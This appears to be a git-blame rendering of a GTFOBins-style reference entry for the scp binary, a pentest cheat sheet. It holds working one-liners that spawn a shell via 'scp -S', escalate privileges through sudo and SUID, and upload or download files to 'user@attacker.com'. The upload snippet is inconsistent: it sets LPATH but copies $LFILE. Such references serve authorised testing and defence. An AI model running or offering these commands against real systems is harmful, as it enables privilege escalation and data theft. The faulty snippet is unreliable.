2018-05-21 21:14:41 +02:00
|
|
|
---
|
|
|
|
functions:
|
2018-09-07 01:00:01 +02:00
|
|
|
execute-interactive:
|
2018-07-16 15:01:50 +02:00
|
|
|
- code: |
|
|
|
|
TF=$(mktemp)
|
2018-09-07 01:00:01 +02:00
|
|
|
echo 'sh 0<&2 1>&2' > $TF
|
2018-07-16 15:01:50 +02:00
|
|
|
chmod +x "$TF"
|
|
|
|
scp -S $TF x y:
|
2018-05-21 21:14:41 +02:00
|
|
|
upload:
|
2018-07-16 15:01:50 +02:00
|
|
|
- description: Send local file to a SSH server.
|
|
|
|
code: |
|
|
|
|
RPATH=user@attacker.com:~/file_to_save
|
|
|
|
LPATH=file_to_send
|
|
|
|
scp $LFILE $RPATH
|
2018-05-21 21:14:41 +02:00
|
|
|
download:
|
2018-07-16 15:01:50 +02:00
|
|
|
- description: Fetch a remote file from a SSH server.
|
|
|
|
code: |
|
|
|
|
RPATH=user@attacker.com:~/file_to_get
|
|
|
|
LFILE=file_to_save
|
|
|
|
scp $RPATH $LFILE
|
2018-07-04 20:26:52 +02:00
|
|
|
sudo-enabled:
|
2018-07-16 15:01:50 +02:00
|
|
|
- code: |
|
|
|
|
TF=$(mktemp)
|
2018-09-07 01:00:01 +02:00
|
|
|
echo 'sh 0<&2 1>&2' > $TF
|
2018-07-16 15:01:50 +02:00
|
|
|
chmod +x "$TF"
|
|
|
|
sudo scp -S $TF x y:
|
2018-07-04 20:26:52 +02:00
|
|
|
suid-limited:
|
2018-07-16 15:01:50 +02:00
|
|
|
- code: |
|
|
|
|
TF=$(mktemp)
|
2018-09-07 01:00:01 +02:00
|
|
|
echo 'sh 0<&2 1>&2' > $TF
|
2018-07-16 15:01:50 +02:00
|
|
|
chmod +x "$TF"
|
|
|
|
./scp -S $TF a b:
|
2018-05-21 21:14:41 +02:00
|
|
|
---
|